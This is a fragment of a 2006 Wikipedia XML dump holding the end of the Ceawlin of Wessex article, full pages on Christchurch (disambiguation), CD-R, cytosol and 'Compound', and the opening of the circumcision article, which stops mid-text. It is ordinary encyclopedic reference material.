:Wibbandun up to the early twentieth century was identified with [[Wimbledon, London]], but research in the formation of that place name did not support that identification. Currently, scholarly opinion holds that it is located somewhere south of the Thames, west of the Kent border. It is now considered that the site of the battle was Whitmoor Common, Worplesdon, north of [[Guildford]].

:Nothing more is known of the aldermen Oslaf and Cnebban.

==[[571]]==
In this year, Cuthwulf fought against the British Welsh at Bedcanford and took 4 towns, Lygeanburg, Aegelesburg, Baenesington and Egonesham, and in the same year he passed on.
:So the Parker manuscript, as well as two others; the Laud manuscript names the West Saxon leader &quot;Cutha&quot;. The term &quot;British Welsh&quot; is an attempt to translate the Anglo-Saxon &quot;Bretwalas&quot;, which appears in the Chronicle only nine times, including this entry: up to the entry for about year 600, the Chronicler calls the native British inhabitants &quot;Brettas&quot; or British -- except for his entries concerning Aelle -- and &quot;Wealas&quot; or Welsh afterwards

:Bedcanford up to the early twentieth century was identified with [[Bedford, Bedfordshire|Bedford]], but research in the formation of that place name does not support that identification. The four towns, respectively, are the modern [[Limbury]], [[Aylesbury]], [[Benson, Oxfordshire|Benson]], and [[Eynsham]] -- all located in the [[Chiltern Hills]] or Oxfordshire. Archaeological evidence points to the fact that there was an enclave of British communities around [[London]] and [[Verulamium]] into the sixth century. This area may be remembered as the Chilternsaete listed in the [[Tribal Hidage]], who were taxed at a valuation of 4000 hides.

==[[577]]==
In this year, Cuthwine and Ceawlin fought against the British, and they killed 3 kings Coinmail, Condidan, and Farinmail in the place that is called Deorham. And they captured 3 strongholds, Gloucester, Cirencester and Bathcester.

:This is the [[Battle of Deorham]]. Much has been made that with this battle the Cornish Celts were separated from the Welsh; in actual fact, the Celtic peoples living in those parts of Britain could still travel by land with little significant barrier between them for many more years. The [[Historia Britonum]] records one Glast as coming from [[Lichfield]] south to found [[Glastonbury]] about the time the [[Mercia|Mercians]] conquered part of their kingdom to create [[Shropshire]]. More important is the fact that the Anglo-Saxon invaders could now sweep into the [[Severn]] valley (as Ceawlin is said to have done several years later) and plunder the inhabitants, while the Celts to the west no longer could as easily penetrate the [[Cotswolds]] scarp between [[Gloucester]] and [[Cirencester]] to return the visit.

:Deorham has been identified as Dyrham, a village some eight miles north of [[Bath]], and five miles west of the Fosse Way, the Roman road between Bath and Cirencester.

:It is not clear if the three kings should be matched with one &quot;stronghold&quot; each, or perhaps they were relatives who shared rule over all three.  The modern [[Welsh language|Welsh]] form of these kings names is Cynvael, Cynddylan, and Ffernvael.

==[[584]]==
In this year, Ceawlin and Cutha fought against the British in the place that is named Fethanleag and Cutha was slain. And Ceawlin took many towns and robbed countless bodies, and in anger he returned to his lands.

:Cutha again appears a final time, thirteen years after his possible death at Bedcanford. It is not clear if the chronicler made a confusion of his source materials, or if Cutha and Cuthwine are different individuals. However the phrase &quot;in anger he returned to his lands&quot; appears to be a line from saga.

:This event has been interpreted as a sweeping raid up the [[Severn]] valley to the location of Fethanleag. Plummer identifies this place name with [[Faddiley]] in [[Cheshire]]; more recent scholarly research identifies this with [[Stoke Lyne]].

==[[592]]== In this year, there was a great slaughter at Woddesbeorg, and Ceawlin was driven out.
:(So the Parker manuscript; the Laud manuscript reads &quot;In this year Gregorius succeeded to the papacy in Rome, and there a great slaughter happened in Britain this year at Wodnesbeorg, and Ceawlin was driven out.&quot;)

:Woddesbeorg/Wodnesbeorg is a rare pagan Anglo-Saxon place name. It is identified with the present day [[Alton, Wiltshire|Alton Priors]] seven miles east of [[Devizes]].

:The chronicler shows that this was a decisive defeat for Ceawlin by dating it only a year prior to his death; all of his other entries concerning Ceawlin are separated by five to seven years. Obviously this exile would also demonstrate that his claim to the title of Bretwalda ended at the same time.

:Of unknown value is [[William of Malmesbury]]'s comment that this slaughter at Woddensbeorg was the result of &quot;the Angles and the British conspiring together&quot;. We have no other evidence for the identity of Ceawlin's adversary, only the suspicion that his successor Ceolwulf, son of his associate Cutha, might have been involved -- but if that is the case, it is puzzling that would he need until [[597]] to succeed to the kingship of the West Saxons.

==[[593]]==
In this year, Ceawlin, Cuichelm and Crida perished, and &amp;AElig;thelfrith succeeded to the kingdom in Northumbria.

:By dating Ceawlin's death to the same year [[Aethelfrith of Northumbria|&amp;AElig;thelfrith]] became king of [[Northumbria]], the Chronicler betrays his assumption that the various kings of this early period followed closely upon each other. While the entry of 568 suggests that Ceawlin and Ethelbert were contemporaries, this entry should not be taken as proof that Ceawlin died at the same time &amp;AElig;thelfrith became king.

One feature of Ceawlin's activities, similar to other early Anglo-Saxon kings, is that he is frequently mentioned in the company of other individuals. This suggests that although he was renowned as a warrior, his own following was too small for his to effectively wage war by himself, and that he depended on the support of other nobles or kings of the West Saxons. In other words, there was no centralized kingdom of Wessex at this time, instead Wessex was properly a federation of varying closeness of petty rulers.

''The translation of the Anglo-Saxon Chronicle in this article is copyrighted by its translator, and appears here under the provisions of the [[GNU FDL]].''

{{start box}}
{{succession box|
 before=[[Cynric of Wessex|Cynric]]|
 title=[[List of monarchs of Wessex|King of Wessex]]|
 years=|
 after=[[Ceol of Wessex|Ceol]]
}}
{{succession box|
 before=[[Aelle of Sussex]]|
 title=[[Bretwalda]]|
 years=|
 after=[[Ethelbert of Kent]]
}}
{{end box}}

[[Category:593 deaths]]
[[Category:West Saxon monarchs]]

[[de:Ceawlin]]</text>
    </revision>
  </page>
  <page>
    <title>Christchurch (disambiguation)</title>
    <id>6779</id>
    <revision>
      <id>40718447</id>
      <timestamp>2006-02-22T15:14:51Z</timestamp>
      <contributor>
        <username>Marypcb</username>
        <id>901915</id>
      </contributor>
      <minor />
      <comment>added Christchurch, an area within Sunderland</comment>
      <text xml:space="preserve">'''Christchurch''' is the name of a number of places, including [[Christchurch, New Zealand]]:
* ''United Kingdom'':
** [[Christchurch, Cambridgeshire]]
** [[Christchurch, Dorset]] formerly in Hampshire before reorganisation of counties
** [[Christchurch, Gloucestershire]]
** [[Christchurch, Newport]]
** Christchurch, [[Sunderland]]

* ''Elsewhere'':

** [[Christchurch, Virginia]], USA
** [[Christ Church Parish, Barbados]] (with a space) is a parish of Barbados

There are also many major religious buildings named '''Christ Church'''
* Christ Church, [[Philadelphia]] [[United States|USA]]
* Christ Church, Boston, Massachusetts, USA, better known as the [[Old North Church]].
* Christ Church [[cathedral]] Montreal Canada
* [[Christ Church (cathedral), New Zealand]], the cathedral which gave its name to the city
* [[Christ Church, Oxford]] both an Oxford college (not of itself a religious institution) and cathedral
* [[Christ Church Parish Church]], a church in the [[Christ Church Parish]] in Barbados
*[[Christ Church Cathedral]]

Also educational institutions:
*[[Christ Church Grammar School]]
*[[Canterbury Christ Church University]]

{{disambig}}

[[de:Christchurch (Begriffsklärung)]]
[[no:Christchurch (andre betydninger)]]</text>
    </revision>
  </page>
  <page>
    <title>CD-R</title>
    <id>6780</id>
    <revision>
      <id>41554410</id>
      <timestamp>2006-02-28T02:58:32Z</timestamp>
      <contributor>
        <username>Rhobite</username>
        <id>82899</id>
      </contributor>
      <comment>/* History */ rewrote peacock sentence</comment>
      <text xml:space="preserve">[[Image:CD-R.jpg|right]]

A '''CD-R''' ('''C'''ompact '''D'''isc-'''R'''ecordable) is a variation of the [[Compact Disc]] digital audio disc invented by [[Philips]] and [[Sony]]. The CD-R retains all the abilities of the CD standard but adds the functionality of being able to store either [[music]] or [[data]].

== History ==

The CD-R, originally named CD '''W'''rite-'''O'''nce (WO), specification was first published in 1988 by [[Philips]] and [[Sony]] in the 'Orange Book'. The Orange Book consists of several parts, furnishing details of the CD-WO, CD-MO ('''M'''agneto-'''O'''ptic), and CD-RW ('''R'''e'''W'''ritable). The latest editions have abandoned the use of the term &quot;CD-WO&quot; in favor of &quot;CD-R&quot;. Written CD-Rs and CD-RWs are fully compatible with the Audio CD ([[Red Book (audio CD standard)|Red Book]]) and CD-ROM ([[Yellow Book (CD-ROM standards)|Yellow Book]]) standards. They use [[Eight-to-Fourteen Modulation]], [[CIRC]] error correction plus the third error correction layer defined for [[CD-ROM]]. The first CD-Rs were produced in [[1988]] [http://www.oneoffcd.com/info/historycd.cfm]. 

The dye materials developed by [[Taiyo Yuden]] made it possible for CD-R discs to be compatible with Audio CD and CD-ROM discs.

==Physical characteristics==
[[Image:CDgroove.jpg|thumb|320px|right|Microphotograph of the groove in a CD-R disk]]
A standard CD-R is a 1.2 mm thick disc made of [[polycarbonate]] with a 120 [[millimetre|mm]] or 80 [[millimetre|mm]] diameter. It has a storage capacity of 74 minutes of audio or 650 [[Megabyte|MB]] of data. Non-standard CD-Rs are available with capacities of 79 minutes, 59 seconds and 74 frames /736,966,656 bytes (702 MB), which they achieve by slightly exceeding the tolerances specified in the [[Orange Book (CD standard)|Orange Book]] CD-R/CD-RW standards. Most CD-Rs on the market are of the latter capacity. There are also 90 minute/790 MB and 99 minute/870 MB discs, though they are rare.

The polycarbonate disc contains a spiral groove to guide the [[laser]] beam upon writing and reading information. The disc is coated on the side with the spiral groove with a very thin layer of organic dye and subsequently with a thin, reflecting layer of [[silver]], a silver [[alloy]] or [[gold]]. Finally, a protective coating of a photo-polymerizable lacquer is applied on top of the metal reflector and cured with [[ultraviolet|UV]]-light.

A blank CD-R is not &quot;empty&quot;, it has a pregroove with a wobble (the ATIP), which helps the writing laser stay on track and is used to ensure the data is written to the disc at a constant rate. As well as providing timing information, the ATIP (absolute time in pregroove) is also a data track containing information about the CD-R manufacturer, the dye used and media information (disc length etc). The pregroove is not destroyed when the data is written to the CD-R, a point which some [[copy protection]] schemes use to distinguish copies from an original CD.

Among the first CD-R manufacturers were the companies [[Taiyo Yuden]], [[Kodak]], [[Maxell]], and [[TDK Corporation|TDK]]. Since then, the CD-R was further improved to allow writing speeds as fast as 52x ([[as of 2004]]) relative to the first 1x CD-Rs. The improvements were mainly due to optimisation of special dye compositions for CD-R, groove geometry, and the dye coating process. Low-speed burning at 1x is still used for special &quot;audio CD-Rs&quot;, since CD-R audio recorders were standardized to this recording speed.

There are three basic formulations of dye used in CD-Rs:
#[[Cyanine dye]]s were the earliest ones developed, and their formulation is [[patent]]ed by [[Taiyo Yuden]]. Cyanine dyes are mostly [[green]] or light blue in color, and are chemically unstable. This makes [[cyanine]] discs unsuitable for archival use; they can fade and become unreadable in a few years. Many manufacturers use proprietary chemical additives to make more stable cyanine discs.
#[[Azo dye]] CD-Rs are dark [[blue]] in color, and their formulation is patented by [[Mitsubishi Chemicals]]. Unlike cyanine, azo dyes are chemically stable, and typically rated with a lifetime of decades.
#[[Phthalocyanine dye]] CD-Rs are usually silver, gold or light green. The patents on pthalocyanine CD-Rs are held by [[Mitsui]] and [[Ciba Specialty Chemicals]]. These are also chemically stable, and often given a rated lifetime of hundreds of years.

Although the CD-R was initially developed in [[Japan]], most of the production of CD-Rs had moved to [[Taiwan]] by [[1998]]. Taiwanese manufacturers supplied more than 70% of the worldwide production volume of 10.5 billion CD-Rs in [[as of 2003|2003]]. 

Unfortunately, many manufacturers add additional coloring to disguise their cyanine CD-Rs, so you cannot determine the formulation of a disc based purely on its color. Similarly, a gold reflective layer does not guarantee use of phthalocyanine dye.

== Writing methods ==
The blank disc has a pre-groove track onto which the data is written. The pre-groove track, which also contains timing information, ensures that the recorder follows the same spiral 
path as a conventional CD. Instead of pressing a CD with indentations, a CD-R writes data to a disc by using its lasers to physically &quot;burn&quot; the organic dye. When heated beyond a 
certain temperature, the area that was &quot;burned&quot; becomes opaque and reflects less light than the areas that have not been &quot;burned&quot;. Note that the &quot;burning&quot; process does not produce the conventional indentations (pits). The reflection modulation can be detected by a photo-diode. 
Upon reading back the stored information, the laser operates at a low enough power not to &quot;burn&quot; the dye and an ''optical pick-up'' records the changes in the intensity of the reflected laser radiation when scanning along the groove and over the pits. The change of the intensity of the reflected laser radiation is transformed into an electrical signal, from which the digital information is recovered (&quot;decoded&quot;). The decomposition of the dye in the pit area through the heat of the laser is irreversible (permanent). Therefore, once a section of a CD-R is written, it cannot be erased or rewritten, unlike a [[CD-RW]]. A CD-R can be recorded in multiple sessions.
A [[CD recorder]] can write to a CD-R using several methods including:
#[[Disc At Once]] - the whole CD-R is written in one session with no gaps and the disc is &quot;closed&quot; meaning no more data can be added and the CD-R effectively becomes a standard read-only CD. With no gaps between the tracks the Disc At Once format is useful for &quot;live&quot; audio recordings.
#[[Track At Once]] - data is written to the CD-R one track at a time but the CD is left &quot;open&quot; for further recording at a later stage. It also allows data and audio to reside on the same CD-R.
#[[Packet Writing]] - used to record data to a CD-R in packets allowing extra information to be appended to a disc at a later time or information on the disc can be made &quot;invisible&quot;. In this way CD-R can emulate CD-RW however each time information on the disc is altered more data has to be written to the disc. There can be compatibility issues with this format and some CD drives.

A rough estimation of the amount of data on a CD-R can be gained by inspecting the playback side of the disc. A visible variation in the surface can be observed. CD-Rs are written from the center of the disc outwards.

==Optimal storage conditions and expected lifespan==

At present, stated CD-R lifetimes are only ''estimates'' based on [[accelerated aging]] tests as the technology has not been in existence long enough to verify the upper range. With proper care it is thought that CD-Rs should be readable one thousand times or more and have a shelf life of several hundred years. Unfortunately, ''some common practices can reduce shelf life to only one or two years.'' Therefore, it is important to handle and store CD-Rs properly if you wish to read them more than a year or so later.

Burned CD-Rs suffer from material degradation, just like most writeable media. Optical discs commonly used for burning, such  CD-R and [[CD-RW]] have a recording surface consisting of a layer of dye that can be modified by heat to store data. The degradation process can result in the data &quot;shifting&quot; on the surface and thus becoming unreadable to the laser beam.

Recommended care and storage practices for CD-Rs include:

*Store vertically in jewel cases or slim-line cases, one disc to a spindle. Archival cases use a ridged ring which grip the disc and prevent the recording surface from touching the surface of the case.
*Avoid bending the disc. To remove a CD-R from a jewel case, press down on the hub while gently gripping the edges of the disc; you should be able to simply lift the disk out of the case.
*Always hold a CD-R by lightly gripping the edges of the disc. Try to avoid getting fingperprints on the data side of the disc. 
*Store in a cool, dry place. Optimal temperature range is 5-20°C (41-68°F). Optimal relative [[humidity]] range is 30-50%. These values should not be allowed to change rapidly.
*Avoid direct sunlight. Sunlight can heat a jewel case and indirectly thermally stress the disc itself.  Direct [[UV radiation]] on either side of the disc itself can degrade the dye layer in a CD-R. On the other hand, smaller doses of X-ray radiation, from [[airport security|airport screening]] for example, and magnetism should not affect a CD-R.
*If possible, use only a ''felt-tip water-based marker'' to mark the label side of the CD-R. The best place to label a CD-R is the clear inner part near the center. [[Alcohol]]-based markers are thought to be less harmful than xylene or toluene-based markers.  Typical [[permanent marker]]s are [[xylene]] or [[toluene]] based and should never be used to label optical media. Many vendors sell marking pens which are safe to use to label optical storage media.
*Paper labels should be applied to the ''outside'' of the jewel case, not to the label side of the CD-R itself.  Over time, solvents in the paper, adhesives and inks can all degrade the disc. Labels applied unevenly to the disc can also cause the CD-R to [[wobble]] in high speed players and render them unusable.
*Avoid scratching either side of a CD-R. Perhaps counterintuitively even minor scratches on the ''label'' side can damage a disc, as the layer of plastic between the label side and the reflective layer is much thinner than the other side.  Because CD-Rs use [[error-correcting code]]s, minor scratches on the data side should not render the disc unreadable, unless there are many of them close together. Deep scratches on the data side can interfere with the focus of the laser and render a disc unreadable.  Scratches from rim to center are less harmful than concentric circular scratches. Writing on the label side of CD-R with a [[ballpoint pen]] can destroy it.
*Whilst '''not water proof''', CD-Rs are not greatly affected by exposure to water unless they have inkjet printing on the label side. Water will cause any inkjet printing to run unless it is protected by an outer layer.

== Cleaning CD-Rs ==

As a general rule only clean a CD-R if the playback is affected. The error correction of CD-R can effectively read through fingerprints as well as a highly scratched information surface.

Excess dust can be removed from the information surface by very lightly wiping the information side with a very soft cloth (such as a reading glasses cleaning cloth) from the centre of the disc in an outwards direction. Never wipe the information surface of any type of CD in a circular motion around the centre as this may create scratches in the same direction as the information and potentially cause data loss. An even gentler method is to blow the dust away using a can of pressurized clean air.

Fingerprints or stubborn dust can be removed from the information surface by wiping it with a cloth dampened with alcohol ([[methylated spirits]] or [[isopropyl alcohol]]) and again wiping from the centre outwards, with a very soft cloth. 

'''Never''' use [[acetone]], nailpolish remover, [[kerosene]], [[petrol]] ([[gasoline]]) or any other type of petroleum-based solvent to clean a CD-R. Use of petroleum based solvents will damage the polycarbonate surface and the CD-R will become unreadable. Use only alcohol based products.

==Readability in CD drives==
There was some incompatibility with CD-Rs and older CD-ROM drives. This was primarily due to the lower reflectivity of the CD-R disc.  In general, CD-ROM drives marked as 8x or greater will read CD-R discs. Some [[DVD player]]s will not read CD-Rs because of this change in reflectivity as well.

== See also ==

* [[CD-ROM]], [[GD-ROM]]
* [[DVD]], [[DVD-R]], [[DVD+R]], [[DVD+R DL]]
* [[CD recorder]]
* [[MultiLevel Recording]]
* [[LightScribe]]
* [[Rainbow Books]]
==External links==

* [http://www.osta.org/technology/cdqa.htm Understanding CD-R &amp; CD-RW] by Hugh Bennett
* [http://www.cdrfaq.org/ The CD-R FAQ]
* [http://www.osta.org/specs/pdf/opc.pdf Running Optimum Power Control: Data Integrity in CD-Recording] by Hugh Bennett
* [http://www.clir.org/pubs/reports/pub121/contents.html Care and Handling of CDs and DVDs: A Guide for Librarians and Archivists], by Fred R. Byers; issued by the Council on Library and Information Resources (CLIR) and [[NIST]]
* [http://www.chipchapin.com/CDMedia/cdr3.php3 Pregroove and timing on a CD-R]

* [http://msn.pcworld.com/news/article/0,aid,124312,00.asp?GT1=7645 Do Burned Cds have a short lifespan?]


[[Category:CD]]
[[Category:120 mm discs]]
[[Category:Audio storage]]
[[Category:Video storage]]

[[de:CD-R]]
[[es:CD-R]]
[[fr:Disque compact enregistrable]]
[[nl:CD-R]]
[[it:CD-R]]
[[he:CD-R]]
[[ja:CD-R]]
[[pl:CD-R]]
[[pt:CD-R]]
[[ru:CD-R]]
[[zh:CD-R]]</text>
    </revision>
  </page>
  <page>
    <title>Cytosol</title>
    <id>6781</id>
    <revision>
      <id>39898382</id>
      <timestamp>2006-02-16T17:46:46Z</timestamp>
      <contributor>
        <username>Fuzzform</username>
        <id>546423</id>
      </contributor>
      <comment>/* References */ not in standard format, but at least it's there</comment>
      <text xml:space="preserve">The '''cytosol''' (cf. ''[[cytoplasm]]'', which also includes the [[organelle]]s) is the internal fluid of the [[cell (biology)|cell]], and a portion of [[cell metabolism]] occurs here. [[Protein]]s within the cytosol play an important role in [[signal transduction]] pathways and [[glycolysis]]. They also act as intracellular [[receptor]]s and form part of the [[ribosome]]s, enabling protein [[synthesis]]. 

In [[prokaryotes]], all chemical reactions take place in the cytosol. In [[eukaryote]]s, the cytosol contains the cell [[organelle]]s; this is collectively called cytoplasm. In plants, the amount of cytosol can be reduced due to the large [[tonoplast]] (central [[vacuole]]) that takes up most of the cell interior volume.

The cytosol also surrounds the [[cytoskeleton]], which is made of fibrous proteins (e.g. [[microfilament]]s, [[microtubule]]s, and [[intermediate filament]]s). In many organisms, the cytoskeleton maintains the shape of the cell, anchors organelles, and controls internal movement of structures (e.g. transport [[vesicle (biology)|vesicle]]s).

The cytosol is not a &quot;soup&quot; with free-floating particles, but is highly organized on the molecular level. As the concentration of [[soluble]] molecules increases within the cytosol, an osmotic gradient builds up toward the outside of the cell. Water flows into the cell, making the cell larger. To prevent the cell from bursting apart, molecular pumps in the [[plasma membrane]], the cytoskeleton, the tonoplast or the [[cell wall]] (if present), are used to counteract the osmotic pressure.

&lt;!-- Image with unknown copyright status removed: [[Image:Cytosol.gif]] --&gt;

==Details==
Cytosol mostly consists of water, dissolved ions, small molecules, and large water-soluble molecules (such as protein). It contains about 20% to 30% [[protein]].

Normal human cytosolic [[pH]] is (roughly) 7.0 (i.e. neutral), whereas the [[pH]] of the [[extracellular fluid]] is 7.4.

==References==
''Life: The Science of Biology''. Purves, Sadava, Orians, Heller. Sunderland, MA. Sinauer Associates, Inc. 2004. ISBN 0716798565

[[Category:Cell biology]]

[[de:Cytosol]]
[[eo:Citosolo]]
[[fr:Cytosol]]
[[lb:Zytosol]]
[[nl:Cytosol]]
[[ja:細胞質基質]]
[[sv:Cytosol]]
[[zh:原生质]]</text>
    </revision>
  </page>
  <page>
    <title>Compound</title>
    <id>6782</id>
    <revision>
      <id>38622417</id>
      <timestamp>2006-02-07T15:26:28Z</timestamp>
      <contributor>
        <username>Ravn</username>
        <id>47881</id>
      </contributor>
      <comment>[[WP:D]] &quot;this is not a search index&quot;, please only add links to this page, if there is a significant risk of confusion</comment>
      <text xml:space="preserve">'''Compound''' may refer to:

* [[Compound (fortification)]] is an area of land that is surrounded by fences, walls, or [[barbed wire]] and is used for a particular purpose.
* [[Chemical compound]], a chemical combination of two or more elements. 
* [[Compound (linguistics)]], in [[linguistics]], is a word that consists of more than one radical element
* [[Compound (music)]], in [[music]] is an attribute of an [[interval]] (wider than one [[octave]]) or [[time signature]] (based on groups of ''three'' notes).




{{disambig}}

[[simple:Compound]]
[[fr:Composite]]
[[fr:Composition]]</text>
    </revision>
  </page>
  <page>
    <title>Circumcision</title>
    <id>6783</id>
    <restrictions>move=:edit=</restrictions>
    <revision>
      <id>42162439</id>
      <timestamp>2006-03-04T05:54:36Z</timestamp>
      <contributor>
        <username>Kasreyn</username>
        <id>72937</id>
      </contributor>
      <comment>rvv</comment>
      <text xml:space="preserve">'''Circumcision''' is the removal of some or all of the [[foreskin]] (prepuce) from the [[penis]]. The [[frenulum]] may also be removed at the same time, in a procedure called '''frenectomy'''.  The word &quot;circumcision&quot; comes from [[Latin]] ''circum'' (meaning &quot;around&quot;) and ''caedere'' (meaning &quot;to cut&quot;). [[female genital cutting|Female circumcision]] is a term applied to a variety of procedures performed on the [[female genitalia]]. Except where specified, &quot;circumcision&quot; in this article should be regarded as &quot;male circumcision&quot;. 

Circumcision as a [[therapeutic]] medical procedure may be recommended to treat a variety of conditions, such as pathological [[phimosis]], chronic inflammations of the penis and [[penile cancer]]. The frequent use of circumcision is often criticised since the indicators for circumcision are regularly misdiagnosed, e.g. confusing normal, congenital infant phimosis with pathological phimosis,[http://www.mja.com.au/public/issues/178_04_170203/spi10278_fm.html] and circumcision is often used where less invasive treatments are available and effective. [http://www.cirp.org/library/treatment/phimosis/dewan]

[[Routine]], non-therapeutic [[infant]] circumcision is controversial. National medical associations in America, Canada, and Australia do not recommend routine infant circumcision, and several recommend that doctors discuss the benefits and risks with prospective parents.[http://www.ama-assn.org/ama/pub/category/13585.html] [http://www.aafp.org/x1462.xml] [http://aappolicy.aappublications.org/cgi/content/full/pediatrics;103/3/686] The [[genital integrity]] movement condemns non-therapeutic infant circumcision as a [[human rights violation]] that they consider comparable to [[female genital cutting]],[http://www.cirp.org/library/legal/vanhowe5/] while [[Circumcision advocacy|circumcision advocates]] stress the medical benefits of the procedure.[http://adc.bmjjournals.com/cgi/content/full/archdischild;77/3/258]

[[Image:Circumsised penis - Flacid erect2.jpg|thumb|right|A circumcised penis in both flaccid and fully erect states, respectively ([[:Image:Circumsised_penis_-_Flacid_and_Erect_-_High_Res.jpg|larger version]]).]]
[[Image:UncirPenisFlaccid1.jpg|thumb|right|Penis, not circumcised, flaccid and erect. ([[:Image:UncirPenisFlaccid1.jpg|larger version]]).]]


==The procedures of circumcision==
{{sectstub}}
Circumcision is the removal of the [[foreskin]] from the [[penis]]. Clamps, such as the Gomco, Plastibell, and Mogen are commonly used for infant circumcision.[http://www.findarticles.com/p/articles/mi_m3225/is_n2_v52/ai_17281985] These are intended to protect the glans from harm, and crush the foreskin to achieve [[hemostasis]]. When the Gomco or Mogen clamp is used, a dorsal slit must be made before application of the clamp. In the case of the Mogen and Plastibell, the foreskin is then surgically removed, while when the Plastibell is used, the foreskin sloughs away along with the clamp in three to seven days.
&lt;!--
Depending on how much of the foreskin was removed, it is possible to talk of &quot;tight&quot; and &quot;loose&quot; circumcisions. A [[circumcision scar]] remains.--&gt;&lt;!--Could we have some proper sourcing for this?--&gt;

According to a 1998 study, anaesthesia is used by 45% of physicians performing infant circumcision.[http://pediatrics.aappublications.org/cgi/content/full/101/6/e5] Dorsal penile nerve block is the most commonly used form. Obstetricians were notable in the study for a significantly lower rate of anaesthesia use (25%) than pediatricians or family practitioners. Adult circumcisions are often performed without clamps, and require the following 4 to 6 weeks of abstinence from masturbation or intercourse to allow wound healing. [http://www.aafp.org/afp/990315ap/1514.html]

==Cultures and Religions==
:''For information on circumcision in the [[Bible]], see [[Circumcision in the Bible]].''

Some cultures circumcise their males, either shortly after birth, or around puberty as an initiation rite. The practice is most notable among [[Muslim|Muslims]] and [[Jew|Jews]], and is more prevalent in the United States than in other Western nations.

===[[Aesthetics]]===
Circumcision may be undertaken as a [[genital modification and mutilation|body modification of the genitals]] to change the looks of the penis to appeal more to certain [[aesthetics]]. Where infant or childhood circumcision is the norm, people may consider non-circumcised penises to be less preferable sexually, visually or otherwise. &lt;!--In the remaining majority of cultures where circumcision is not the norm, it is considered mutilation.--&gt; In a few cultures, circumcision may be one of other modifications of the penis, such as a [[split penis]] or a [[subincision]]. 

The [[United States]], [[the Philippines]] and [[South Korea]] are the only countries that circumcise a majority of young males for non-religious reasons. Routine circumcision practices in South Korea are largely the result of American cultural and military influence following the [[Korean War]]. The origin of the practice in the Philippines is uncertain according to one newspaper article [http://www.cirp.org/news/sunstar03-21-05/]. However, Antonio de Morga's &quot;History of the Philippine Islands&quot; (1907) attributes circumcision to Islamic influence [http://www.nalanda.nitc.ac.in/resources/english/etext-project/history/philippine/chapter11.html].

===[[Coptic Christian]]===
Circumcision is also customary in the [[Coptic Christian]] and [[Ethiopian Orthodox]] religious traditions. It is usually performed on the eighth day of life.

===[[Islam]]===
[[Islam]] stresses  form of natural hygiene. Although circumcision is not mentioned in the [[Qur'an]], it is mentioned in some parts of the [[Hadith]]. [[Fiqh]] scholars have different opinions about circumcision in [[Shariah]], depending on which [[Hadiths|Hadith]] are accepted and how they are interpreted. According to [[Imam Abu Hanifa]], [[Imam Malik]] and a majority of others it is a ''recommended'' practice ([[Sunnah]]), but others, including [[Imam Shafi]], consider it ''obligatory''. &lt;!--Moreover, Hadiths describe that the ritual of circumcision was started by [[Abraham]]. --&gt;The timing of Muslim circumcision varies. Some Muslim communities perform circumcision on the eighth day of life, as with Jews, while others perform the rite later. Turkish, [[Balkan]], rural Egyptians and Central Asian Muslims typically circumcise boys between the ages of six and eleven and the event is viewed communally as a joyous occasion and is celebrated with sweets and feasting. In contrast, Iranian Muslims are typically circumcised in the hospital at birth without much ado. Urban [[Egypt]]ians, as with many [[Industrialisation|industrialized]] countries such as the USA, perform the procedure at a hospital. Kamyar ''et al'' describe it as an 'obligatory custom', and note that it is not necessary for the circumciser to be a Muslim. Recently, world opinion, including Islamic opinion [http://www.islamonline.org/English/News/2005-11/23/article05.shtml], has become increasingly critical of the practice of [[female circumcision]], which is also widespread in Islamic cultures. [http://pediatrics.aappublications.org/cgi/content/full/108/4/965]

===[[Judaism]]===
{{main|Brit milah}}

Circumcision is a religious practice traditionally required by Judaism, usually performed in a ceremony called a [[Brit milah|Brit]] (or [[Brit milah|Bris) milah]] ([[Hebrew language|Hebrew]] for &quot;Covenant of circumcision&quot;). A [[mohel]] performs the ceremony on the eighth day after birth unless health reasons force a delay. According to the [[Torah]] ([[Genesis]], chapter 17 verses 9-14), [[God]] commanded [[Abraham]] to circumcise himself, his offspring and his slaves as part of an everlasting covenant. According to [[halakha|Jewish law]], failure to follow the commandment carries the penalty of ''karet'', or being cut off from the community by God. Brit milah is so important that should the eighth day fall on [[Shabbat]], actions that would normally be forbidden because of the sanctity of the day are permitted in order to fulfill the requirement to circumcise.  ''See also [[Circumcision in the Bible]]''.

===[[Tribal]] [[traditions]]===
Circumcision is part of the [[initiation rite]] in a number of African and Australian Aboriginal [[tribal]] [[traditions]].  Among some West African animist groups, such as the [[Dogon]] and [[Dowayo]], it is taken to represent a removal of &quot;feminine&quot; aspects of the male, turning boys into fully masculine males.  Among [[Nilotic]] peoples, such as the [[Nandi]], circumcision is a rite of passage observed collectively by a number of boys every few years, and boys circumcised at the same time are taken to be members of a single [[age set]].  Aboriginal circumcision ceremonies, which also constitute a rite of passage, are noted for their painful nature, including [[subincision]] for some tribes.

==Ethical Issues==
{{main|Bioethics of neonatal circumcision}}

Circumcising infants as a public health measure is controversial. In cultures such as the [[USA]], lay people may regard infant circumcision as a routine medical practice but medical organizations in Australia, Canada, and America do not recommend routine infant circumcision [http://www.ama-assn.org/ama/pub/category/13585.html]. While the risks of circumcision-related complications are very low [http://www.sciencedaily.com/releases/2000/01/000111074855.htm], the possible catastrophic complications of a poorly carried out circumcision, or of post-operative bleeding or infection, are not to be taken lightly. The American Academy of Pediatrics recommend that parents should be informed about the benefits and risks of the procedure.[http://aappolicy.aappublications.org/cgi/content/full/pediatrics;103/3/686] [[Circumcision advocacy|Circumcision advocates]] argue that circumcision is a significant public health measure, preventing infections, and possibly slowing down the spread of [[AIDS]], while the [[genital integrity]] movement asserts that infant circumcision is a [[human rights violation]] and a [[sexual assault]], and that the practice of circumcising infants or children should be discouraged or banned.
 
===Consent===
Debate often focuses on what limits, if any, should be placed on a caregiver's ability to make a decision for a boy about a procedure with disputed immediate medical value and that may be unwanted and mostly irreversible later in life.  Some question the apparent inconsistency of allowing male circumcision but prohibiting [[female genital cutting]] [http://www.fgmnetwork.org/intro/mgmfgm.html].  It has been suggested that circumcision may cause emotional scarring later in life, and claim that the procedure should be left until a man is mature enough to make the choice for himself.  Those in favour believe that the procedure is less traumatic when performed in infancy and do not wish to disturb the traditional and religious rights of parents to make decisions on behalf of their child.

===Emotional consequences===
Much attention has been given to the emotional impact of [[female genital cutting]]. For no clear reasoning the emotional impact of male circumcision has traditionally been ignored. Issues about the rights of the child are often overlooked, as is the possibility that circumcision causes emotional and physical harm to some males.

